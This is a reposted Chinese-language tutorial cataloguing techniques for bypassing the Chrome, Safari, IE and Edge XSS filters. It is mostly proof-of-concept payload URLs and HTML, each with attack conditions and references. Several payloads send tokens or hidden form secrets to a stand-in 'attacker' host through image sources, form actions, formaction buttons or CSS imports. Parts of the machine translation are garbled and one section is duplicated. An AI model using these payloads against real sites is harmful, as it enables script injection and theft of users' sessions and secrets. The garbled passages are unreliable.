XSS，即跨站脚本攻击，是Web程序中常见的漏洞，其原理是恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页面时，嵌入其中的Script代码会自动执行，从而达到恶意攻击用户的目的。为了防止这些恶意攻击的发生，现在用户所使用的浏览器内核中一般都有XSS Filter（除Firefox外）。
众所周知，XSS共有三种类型，分别是：反射型、存储型和DOM Based XSS。接下来就为大家简单介绍一下这三种类型的XSS。
- 第一类：反射型XSS，当我们在访问一个网页的时候，在URL后面加上一定的参数，浏览器变会返回不同的执行结果。但如果我们在IE/Chrome/Safari中尝试这种操作，浏览器可能会显示以下消息：“为帮助阻止跨站点脚本，已修改此页面。”，窗口也无法弹出。这就体现出了浏览器内核中Filter的功能。
- 第二类：存储型XSS，它常见于支持用户互动的Web应用，如微博、留言板等。用户提交到应用程序里的数据会永久性的保存在后端数据库中，如果没有经过HTML编码，当用户浏览了包含恶意代码的页面之后（这个页面通常是用户会主动访问的页面），便会受到相应攻击，这也使得存储型XSS比反射型XSS更不易被识别。
- 第三类：DOM Based XSS，首先，用户请求一个包含JavaScript的特殊URL，会由攻击者提交。然后服务器响应里不会包含攻击者的脚本，当用户的浏览器处理该响应时，这段攻击代码被前端JS里的DOM处理操作引发。它与反射型XSS类似，都需要由攻击者设计一个包含恶意代码的URL并诱导用户访问，再经浏览器响应恶意代码执行后的操作。
XSS Auditor，是一个被加入在了浏览器内核中的安全功能。本篇将为大家讲述如何绕过浏览器中的 XSS Auditor 进行脚本攻击，希望能给大家一些帮助，主要是在Chrome/ Safari/IE11/ Edge浏览器中进行操作的。
发生在一个字符串中的XSS
https://vulnerabledoma.in/bypass/str_literal?q=%22%3Balert(1)//
<script>var q="";alert(1)//"</script>URL单独成立的XSS(如输入值直接进入a标签的href部分)
<a href="javascript:alert(1)">Link</a>页面有2个以上的注入点
https://vulnerabledoma.in/bypass/text?type=2&amp;amp;amp;q=%60-alert(1)%3C/script%3E%3Cscript%3E%60
<div>`-alert(1)</script><script>`</div>
<div>`-alert(1)</script><script>`</div>字符串的相关操作
当字符串的一部分被替换或删除时，它不能被切断并放置在字符串之间。
被删除时的payload：
https://vulnerabledoma.in/bypass/text?type=6&amp;amp;amp;q=%3Csvg%20o%3Cscript%3Enload=alert(1)%3E
<svg o<script>nload=alert(1)> <svg onload=alert(1)>被置换时的payload：
https://vulnerabledoma.in/bypass/text?type=7&amp;amp;amp;q=%3Cscript%3E/%26/-alert(1)%3C/script%3E
<script>/&/-alert(1)</script><script>/&/-alert(1)</script>基于DOM 的XSS和其他document.write（）的请求字符串
https://vulnerabledoma.in/bypass/dom_innerhtml#%3Cimg%20src=x%20onerror=alert(1)%3E
<body>
<script>
hash=location.hash.slice(1);
document.body.innerHTML=decodeURIComponent(hash);
</script>
</body>在XML页的XSS
https://vulnerabledoma.in/bypass/text?mime=unknown&amp;q=%3C?xml%20ve
rsion=%221.0%22?%3E%3Cscript%20xmlns=%22http://www.w3.org/1999/xh
tml%22%3Ealert(1)%3C/script%3E
<?xml version="1.0"?>
<script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script>应当指出，写在页面 Content-Type 顶部的字符串如果未被正确的指定，根据Content Sniffing XML也可以 bypass。
这里没有脚本，但是有已被允许的说明，它们可能用于一定程度上的攻击。
http(s)∶创建一个链接
https://vulnerabledoma.in/bypass/text?q=%3Ca%20href=https://attacker/%3ESession%20expired.%20Please%20login%20again.%3C/a%3E
<a href=https://attacker/>Session expired. Please login again.</a>
窃取token
例如，你可以通过使用引号（不关闭一侧）等，则有可能包含机密信息的请求，如图像的情况。
https://vulnerabledoma.in/bypass/text?type=8&amp;amp;amp;q=%3Cimg%20src=%22https://attacker/?data=
<p><img src="https://attacker/?data=</p>
<p>This is a secret text.</p>
<p id="x">AAA</p>任意 CSS 引用
这样不仅掩盖了页面的外观，而且如果在同一页面上包含的机密信息，只使用CSS便可能获得此信息。详细参照URL。
参考URL:
http://www.businessinfo.co.uk/labs/talk/The_Sexy_Assassin.ppthttp://masatokinugawa.l0.cm/2015/10/css-based-attack-abusing-unicode-range.htmlhttps://vulnerabledoma.in/bypass/text?q=%3Cstyle%3E@import%20%27//attacker/test.css%27%3C/style%3E
<style>@import '//attacker/test.css'</style><object>和<param name=url/code>的BYPASS (仅Chrome)
攻击可能条件：
1.任何一个可以XSS的标签
2.在目标环境下Flash能利用
参考URL:http://masatokinugawa.l0.cm/2016/12/xss12.html
PoC:
https://vulnerabledoma.in/bypass/text?q=%3Cobject%20allowscriptaccess=always%3E%3Cparam%20name=url%20value=https://l0.cm/xss.swf%3
<object allowscriptaccess=always>
<param name=code value=https://l0.cm/xss.swf>SVG动画的属性的利用
攻击的可能条件：
1.任何一个可以XSS的标签
参考URL:https://bugs.chromium.org/p/chromium/issues/detail?id=709365
PoC(Chrome):
https://vulnerabledoma.in/bypass/text?q=%3Csvg%3E%3Canimate%20href=%23x%20attributeName=href%20values=%26%23x3000%3Bjavascript:alert(1)%20/%3E%3Ca%20id=x%3E%3Crect%20width=100%20height=100%20/%3E%3C/a%3E
<svg>
<animate href=#x attributeName=hrefvalues= javascript:alert(1) />
<a id=x><rect width=100 height=100 /></a>PoC(Safari):
https://vulnerabledoma.in/bypass/text?q=%3Csvg%20xmlns:xlink=http://www.w3.org/1999/xlink%3E%3Canimate%20xlink:href=%23x%20attributeName=%22xlink:href%22%20values=%22%26%23x3000%3Bjavascript:alert(1)%22%20/%3E%3Ca%20id=x%3E%3Crect%20width=100%20height=100%20/%3E%3C/a%3E
<svg xmlns:xlink=http://www.w3.org/1999/xlink>
<animate xlink:href=#x attributeName="xlink:href" values=" javascript:alert(1)" />
<a id=x><rect width=100 height=100 /></a>base标签与Flash的利用（仅Safari)
攻击的可能条件：
1.任何一个可以XSS的标签
2.后面跟有whitespace符号或是单双引号的情况
3.在目标范围当中能够利用此flash
参考URL:http://masatokinugawa.l0.cm/2016/05/xss8.html
PoC:(后面没有whitespace符号的情况)
https://vulnerabledoma.in/bypass/text?type=3&amp;amp;amp;q=%3Cembed%20allowscriptaccess=always%20src=/xss.swf%3E%3Cbase%20href=//l0.cm/
<div><embed allowscriptaccess=always src=/xss.swf><base href=//l0.cm/</div>（后面有whitespace的情况）
https://vulnerabledoma.in/bypass/text?type=4&amp;amp;amp;q=%3Cembed%20allowscriptaccess=always%20src=/xss.swf%3E%3Cbase%20href=%22//l0.cm/
<div> <embed allowscriptaccess=always src=/xss.swf>
<base href="//l0.cm/ </div><div id="x"></div>加载相对 url 脚本
攻击的可能条件：
1.任何一个可以XSS的标签
2.后面跟有whitespace符号或是单双引号的情况
3.后面有附在相对URL的脚本的部分
PoC:
https://vulnerabledoma.in/bypass/text?type=9&amp;amp;amp;q=%3Cbase%20href=//cors.l0.cm/
<div><base href=//cors.l0.cm/</div>
<script src=/test.js></script>ISO-2022-JP的转义序列的利用
攻击的可能条件：
1.任何一个可以XSS的标签
2.此页没有指定的字符编码
参考URL:https://bugs.chromium.org/p/chromium/issues/detail?id=114941https://l0.cm/encodings/test3/
PoC:
https://vulnerabledoma.in/bypass/text?q=%3Cmeta%20charset=iso-2022-jp%3E%3Csvg%20o%1B(B nload=alert(1)%3E
<meta charset=iso-2022-jp><svg o[0x1B](Bnload=alert(1)>(因为※$记号不会像预期的那样自由移动，将通过包含$重定向的方法进行编码)
<meta charset=iso-2022-jp><script>alert(1)[0x1B]$@[0x0A]</script>链接与base标签的使用
攻击的可能条件：
1.任何一个可以XSS的标签
1.后面跟有whitespace符号的情况
2.后面跟有单双引号的情况
参考URL: https://bugs.chromium.org/p/chromium/issues/detail?id=719962
PoC:
<div> <a href=/**/alert(1)>XSS</a><base href="javascript: </div><div id="x"></div>同一域名资源的利用
攻击的可能条件：
1.任何一个可以XSS的标签
2.此页面显示不需要进行查询
PoC:
PATH_INFO:/<link rel=import href="/bypass/path/<script>alert(1)</script>">文件上传功能
攻击的可能条件：
1.任何一个可以XSS的标签
2使用同一主机上用户上传的文件作为攻击向量，如，用户头像等。
PoC:
https://vulnerabledoma.in/bypass/text?q=%3Cscript%20src=/bypass/usercontent/xss.js%3E%3C/script%3E
<script src=/bypass/usercontent/xss.js></script>(仅Chrome)
https://vulnerabledoma.in/bypass/text?q=%3Clink%20rel=import%20href=/bypass/usercontent/icon.jpg%3E
<link rel=import href=/bypass/usercontent/icon.jpg>Flash和flashvars的利用
攻击的可能条件：
1.任何一个可以XSS的标签
2.相同起源的ExnternalInterface.call()中的参数字符串还未传递到Flash中
3.Flash可在目标环境下利用
补充：
你可以将参数传递给 flashvars 属性，即使Flash 中没有它们的查询参数。（=在Flash方面，它可以在FlashVars传递，即使从URL传递作为XSS的措施，因为要直接打开的参数Flash是有限的。）另外，Content-Security-Policy: default-src 'self'例如，当存在CSP等，它也可以用于绕过CSP。
PoC:
https://vulnerabledoma.in/bypass/text?csp=self&amp;amp;amp;q=%3Cembed%20name=a%20flashvars=%27autoplay=true%26file=%22})\%22)-(alert=alert(1)))}catch(e){}//%27%20allowscriptaccess=always%20src=//vulnerabledoma.in/bypass/wp-includes/js/mediaelement/flashmediaelement.swf%3E
<embed name=a flashvars='autoplay=true&file="})")-
(alert=alert(1)))}catch(e){}//' allowscriptaccess=always src=//vulnerabledoma.in/bypass/wp-includes/js/mediaelement/flashmediaelement.swf>ActionScript:
ExternalInterface.call("setTimeout", ExternalInterface.objectID + '_event' + "('" + eventName + "'," + eventValues + ")", 0);Flash中的ExternalInterface.objectID和ExternalInterface.call()的利用
攻击可能的条件:
1.任何一个可以XSS的标签
2.有相同的起源ExternalInterface.objectID中的一个Flash传递到ExternalInterfae.call中
3.可在目标环境下利用
补充：
ExternalInterface.objectID是用于嵌入标签的name属性的属性值是由自己设定的，但此时并不能单独使用xss，旁路是唯一的绕过方式。顺便提及，Content-Security-Policy: default-src 'self'例如，当存在这样的CSP的限制，它也可以用于绕过CSP。
PoC:
<embed name='alert(1)-' allowscriptaccess=always src=//vulnerabledoma.in/bypass/wp-includes/js/mediaelement/flashmediaelement.swf>
ActionScript:
ExternalInterface.call(ExternalInterface.objectID + '_init');Angular的利用
攻击的可能条件：
1.任何一个可以XSS的标签
2.与目标站同源、AngularJS文件存放的主机、CDN下的CORS页面加载AngularJS
补充：
Angular在有ng-app这个属性的标签内想要展开{{}}被包围的模板，此模板能运行该脚本。参考URL:
l http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html
PoC:
<script src="/js/angular1.6.4.min.js"></script><p ng-app>{{constructor.constructor('alert(1)')()}}在与目标站同源的情况下，有从与CORS相对应的CDN装载Angular的页面，从HTML Imports间接地连接外部origin的资源。
(仅Chrome)
https://vulnerabledoma.in/bypass/text?q=%3Clink%20rel=import%20href=angular.html%3E%3Cp%20ng-app%3E{{constructor.constructor(%27alert(1)%27)()}}
<link rel=import href=angular.html><p ng-app>{{constructor.constructor('alert(1)')()}}
Vue.js的利用
攻击的可能条件：
1.任何一个可以XSS的标签2.
2.与目标站同源、VueJS文件存放的主机、CDN下的CORS页面加载AngularJS3.
3.与目标站同源的可运行的模板的扩展脚本存在于网页或指定的标签
PoC:
<link rel=import href=/bypass/vue.html><div id=app>{{constructor.constructor('alert(1)')()}}jQuery的利用
攻击的可能条件：
1.任何一个可以XSS的标签
2.与目标站同源、jQuery文件存放的主机、CDN下的CORS页面加载AngularJS
3.与目标站同源的页面上存在着from标签能实行jQuery的系统函数的脚本 补充：
jQuery的附加系统功能：after，before，prepend，append，html，replaceWith，wrap，wrapAll，insertBefore，insertAfter，prependTo，appendTo等。由于使用有ownerDocument这个name属性的形式，Node.在ownerDocument的参照处，不使之实行本来脚本的场面实行的(这样的手法被称为DOM Clobbering而为人所知)。并且，实行前，脚本块<！有删除--的处理和，Auditor绕过发生结合的过程，且不切断此过程。
参考URL:
https://sirdarckcat.github.io/csp/jquery.html
PoC:
<!DOCTYPE html>
<html>
<head>
<script src="/js/jquery-3.2.1.min.js"></script>
<script>$(document).ready(function(){ // code taken from http://api.jquery.com/after/ $( ".container" ).after( $( ".child" ) );});</script>
</head>
<body><!-- XSS -->
<form class=child><input name=ownerDocument><script><!--alert(1)</script></form><!-- XSS -->
<p class="container"></p>
</body><!-- Inspired by @sirdarckcat CSP bypass trick: https://sirdarckcat.github.io/csp/jquery.html -->
</html>(仅Chrome)
<link rel=import href=/bypass/jquery.html><p class=container></p><form class=child><input name=ownerDocument><script><!--alert(1)</script></form>
Underscore.js的利用
攻击的可能条件：
1.任何一个可以XSS的标签
2.与目标站同源、Underscore.js文件存放的主机、CDN下的CORS页面加载AngularJS 3.在同一起源下，可运行的模板的扩展脚本出现在页面上或以指定的脚本标记上
PoC:
<link rel=import href=/bypass/underscore.html><script id=template>//<%alert`1`%></script>JSX转换脚本，如JSXTransformer/babel-standalone的应用
攻击的可能条件：
1.任何一个可以XSS的标签
2.与目标站同源、Underscore.js文件中存放的JSX变换脚本、CDN下的CORS页面加载AngularJS 补充：
HTML和JS都有注释符<!-- -->，这个trick是利用注释符在<svg>的<script>标签中的时候会被优先处理解析。就是说，在没有<svg>的时候<script><!-- xxx --></script> 会被解析为 JS 注释符，<svg><script><!-- xxx --></script> 会被解析为HTML注释符号。
PoC:
<link rel=import href=/bypass/babel-standalone.html><svg><script type=text/jsx>//<!--alert(1)//--></svg><script>0</script>From表单标签的使用
攻击的可能条件：
1.任何一个可以XSS的标签
2.把一个新的from标签的位置，成为现有表单内容的目的地，其中包括机密信息
参考URL:
https://bugs.chromium.org/p/chromium/issues/detail?id=719092
PoC:
（在这种情况下）https://vulnerabledoma.in/bypass/form?q=%22%3E%3C/form%3E%3Cform%20action=https://attacker/
<form action="form">
<input type="hidden" name="q" value=""></form><form action=https://attacker/"><input type="hidden" name="secret" value="a09d3ef0"><input type="submit"></form>
<div><button form=f>CLICK<form id=f action=https://attacker/</div>
<form action="form2">
<input type="hidden" name="secret" value="a09d3ef0">
</form>IE/Edge的XSS过滤器
不封闭的目标站
XSS字符串测试
<script>var q="";location='javascriptx3Aalertx281x29'//"</script>所有基于DOM的XSS
https://vulnerabledoma.in/bypass/dom_docwrite#%3Cimg%20src=x%20οnerrοr=alert(1)%3E
<script>
hash=location.hash.slice(1);
document.write(decodeURIComponent(hash));
</script>https://vulnerabledoma.in/bypass/dom_innerhtml#%3Cimg%20src=x%20οnerrοr=alert(1)%3E
<body>
<script>hash=location.hash.slice(1);
document.body.innerHTML=decodeURIComponent(hash);
</script>
</body>https://vulnerabledoma.in/bypass/dom_redirect#javascript:alert(1)
<script>
location.href=decodeURIComponent(location.hash.slice(1));
</script>此页面有2个以上的注入点的XSS
<div>"src=data:,alert%281%29></script><script x="</div>
<div>"src=data:,alert%281%29></script><script x="</div>字符串的操作情况
当字符串的一部分被替换或删除，它不能被切断并放置在串之间。 被删除时的payload：上文已提到。
被替换时：
过滤器中，在由正则表达式过滤的位置，在给定的宽度下进行进一步的置换操作时将不会被中断。在以下的情况下，为了避免匹配于所述截止条件<SC{R} IPT。*？>，我们正在使用的操作和过度取代。/是0-3的字符，因为＆是0-5字符通配符，8个字符，是可被关闭的最大宽度。安培;;替换字符串长度后/＆安培输出为10个字符，它不会被阻止，因为超过了8个字符的宽度。
PoC:
<script/&>alert(1)</script><script/&>alert(1)</script>以下不是导致脚本执行，描述的是允许的，那些具有潜在用途有所攻击。
Bypass XML namespace伪装的字符串的利用(仅Edge)
攻击的可能条件：
1.任何一个可以XSS的标签
2.在目标环境下Flash可启用
3.X-XSS-Protection:1; mode-block，无header
补充：
Edge附有XML namespace的标签也能封闭。<embed/:script普通的HTML使用中所说的script字符串，本来应该被解释为一个embed标签，也可解释为一个script标签，它无法关闭。由于中断动作将发生，X-XSS-Protection∶附有1; mode-blockheader ，此类情况被视为绕过失败。参考URL:
http://masatokinugawa.l0.cm/2016/12/xss9.html
PoC:
<embed/:script allowscriptaccess=always src=//l0.cm/xss.swf>
转义字符串（escape sequence）的利用，如HZ-GB-2312
攻击的可能条件：
1.任何一个可以XSS的标签
2.Content-Typeheader没有指定的字符编码
参考URL:http://masatokinugawa.l0.cm/2015/09/xss7.html
PoC:
https://vulnerabledoma.in/bypass/text?q=%3Cx~%0Aοnfοcus=alert%281%29%20id=a%20tabindex=0%3E#a
<x~ οnfοcus=alert(1) id=a tabindex=0>
在跳转时使用的编码操作
攻击的可能条件：
1.此处是 GET 方式的反射型 XSS
参考URL:http://masatokinugawa.l0.cm/2017/05/xss14.html
PoC:
https://l0.cm/bypass/ie_x-chinese-cns_text.html
<meta charset=utf-8>
<script> document.charset="x-chinese-cns"; location="https://vulnerabledoma.in/bypass/text?q=<script/旡alert(1)</script/旡"</script>(当属性值为 XSS 时)
Https://L0.Cm/bypass/ie_x-chinese-cns_attribute.Html
<meta charset=utf-8>
<script>
document.charset="x-chinese-cns";
location="https://vulnerabledoma.in/bypass/attribute?q=乜onmouseover=alert(1)//"
</script>由于其他字符编码被发送到编码字符串中，并且引起了实际的差异。
https://l0.cm/bypass/ie_hz_text.htmlhttps://l0.cm/bypass/ie_hz_attribute.htmlhttps://l0.cm/bypass/ie_iso2022jp_text.htmlhttps://l0.cm/bypass/ie_iso2022jp_attribute.html
Adobe Acrobat Reader插入的利用（仅IE）
攻击的可能条件：
1.有通过POST请求的XSS 2.在目标环境下使用Adobe Acrobat Reader软件
参考URL:http://insert-script.blogspot.com/2017/01/complete-internet-explorer-xss-filter.html
PoC:
https://l0.cm/bypass/ie_postxss_bypass.pdf
XML中的Content Sniffing的利用(仅IE)
攻击可能的条件：
1.任何一个可以XSS的标签
2.X-Content-Type-Options∶没附有nosniff
3.可以从页面顶部描述字符串
参考URL:
https://twitter.com/0x6D6172696F/status/753647521050849280
PoC:
https://vulnerabledoma.in/bypass/text?q=%3C?xml%20version=%221.0%22?%3E%3Cx:script%20xmlns:x=%22http://www.w3.org/1999/xhtml%22%3Ealert%281%26%23x29%3B%3C/x:script%3E
<?xml version="1.0"?>
<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>UTF-7 BOM的使用（仅IE）
攻击的可能条件：
1.可以从页面顶部描述字符串
2.+，/，- 记号能被允许编写
PoC：
(页面没有指定字符编码的情况) https://vulnerabledoma.in/bypass/text?q=%2B/v8-%2BADw-script%2BAD4-alert(1)%2BADw-/script%2BAD4-
+/v8-+ADw-script+AD4-alert(1)+ADw-/script+AD4-(页面有指定字符编码的情况)
https://l0.cm/bypass/ie_utf7.html
<script>function go(){ window.open("https://vulnerabledoma.in/bypass/text?q=%2B/v8-%2BADw-script%2BAD4-alert(location)%2BADw-/script%2BAD4-&charset=utf-8","a"); setTimeout(function(){window.open("https://l0.cm/h_back.html","a")},1000);}</script>
<button onclick=go()>go</button>
<?PXML>使用（仅IE）
攻击的可能条件：
1.有反射型的XSS
2.不出现三个以上的注入点
3.该页面的文档模式是否被设置为IE9或更小，因为框架填充只能设置在IE9及以下。
参考URL:http://masatokinugawa.l0.cm/2017/05/xss13.html
PoC:
<?PXML><html:script>alert(1)</html:script>
引用的应用
IE/Edge的XSS过滤器，在同样的域名(包括子域名)或localhost的Referer标头附有的情况下，不驱动XSS过滤器。当你能找到来源的的时候，就可以绕过了。
在同一个域中使用链接功能（包括子域）
攻击可能的条件：
1.有反射型的XSS
2.在同一个域（包括子域）创建XSS的链接页面
PoC：
https://vulnerabledoma.in/bypass/same-domain-link.htmlhttps://www.vulnerabledoma.in/bypass/same-domain-link.html
<a href="https://vulnerabledoma.in/bypass/text?q=<script>alert(1)</script>">Click HERE</a>
在能制定任意的URL的地方的绕过
攻击可能的条件：
1.链接反射型的XSS可能的地方
补充：
再易受攻击的地方两重链接起来引用、javascript:您可以创建一个链接到一个URL没有XSS过滤器反应。
PoC：
https://vulnerabledoma.in/bypass/link?q=?q=javascript%253Aalert(1)
<a href="?q=javascript%3Aalert(1)">Link</a>能在页面上保持易受攻击的表单发送前的状态
攻击可能的条件：
1. 有反射型的XSS
2. 能在一样的域名（包括子域名）页面上保持易受攻击的表单发送前的状态
PoC：
<form action="form">
<input type="hidden" name="q" value=""><script>alert(1)</script>">
<input type="hidden" name="secret" value="a09d3ef0">
<input type="submit">
</form>
option 标签的使用
攻击可能的条件：
1.任何一个可以XSS的标签
2.在原有的形式内有那个XSS
参考URL:
https://html5sec.org/xssfilter/entities
PoC:
<form action=submit>
<button formaction=form3>CLICK<select name=q><option><script>alert(1)</script>
</form>空白iframe的使用
攻击可能的条件：
1.任何一个可以XSS的标签
2.允许页面嵌入框架
补充：
XSS创建一个空的iframe，在那个框架上写脚本的URL导航，通过自己易受攻击的域名来绕道。
参考URL:http://www.cracking.com.ar/bugs/2016-07-14/
PoC：https://l0.cm/bypass/ieedge_iframe.html
<!-- Found by @magicmac2000 --> <iframe οnlοad="contentWindow[0].location='//vulnerabledoma.in/bypass/text?q=<script>alert(location)</script>'" src="//vulnerabledoma.in/bypass/text?q=%3Ciframe%3E"></iframe>
伪装错误的使用（仅Edge）
攻击可能的条件：
1.有反射型的XSS
参考URL:
https://www.brokenbrowser.com/referer-spoofing-patch-bypass/
PoC：
https://l0.cm/bypass/edge_referer_spoofing.html
formaction的使用（信息的取得）
攻击可能的条件：
1.有反射型的XSS
2.能在含秘密信息的原有形式内容发送前的位置，建立一个新的formaction属性
PoC:
https://vulnerabledoma.in/bypass/form?q=%22%3E%3Cbutton%20formaction=//attacker/%3E
<form action="form">
<input type="hidden" name="q" value=""><button formaction=//attacker/>">
<input type="hidden" name="secret" value="a09d3ef0">
<input type="submit">
</form>
style字符串的利用
攻击可能的条件：
1.有反射型的XSS
2.存在可通过CSS攻击的情况
参考URL：
https://twitter.com/0x6D6172696F/status/752190911879184384http://www.businessinfo.co.uk/labs/talk/The_Sexy_Assassin.ppthttps://blog.innerht.ml/cascading-style-scripting/
PoC:
<form action="form">
<input type="hidden" name="q" value=""><button formaction=//attacker/>">
<input type="hidden" name="secret" value="a09d3ef0">
<input type="submit">
</form>
style字符串的利用
攻击可能的条件：
1.有反射型的XSS
2.存在可通过CSS攻击的情况
参考URL：
https://twitter.com/0x6D6172696F/status/752190911879184384http://www.businessinfo.co.uk/labs/talk/The_Sexy_Assassin.ppthttps://blog.innerht.ml/cascading-style-scripting/
PoC:
<svg><style>@import'//attacker'</style><svg><style>@ 069mport'//attacker'</style>
<p style="behavior:url('/bypass/usercontent/xss.txt')"><p style="behavior:url('/bypass/usercontent/xss.txt')"> 转自：https://www.zhihu.com/question/20941818/answer/180842222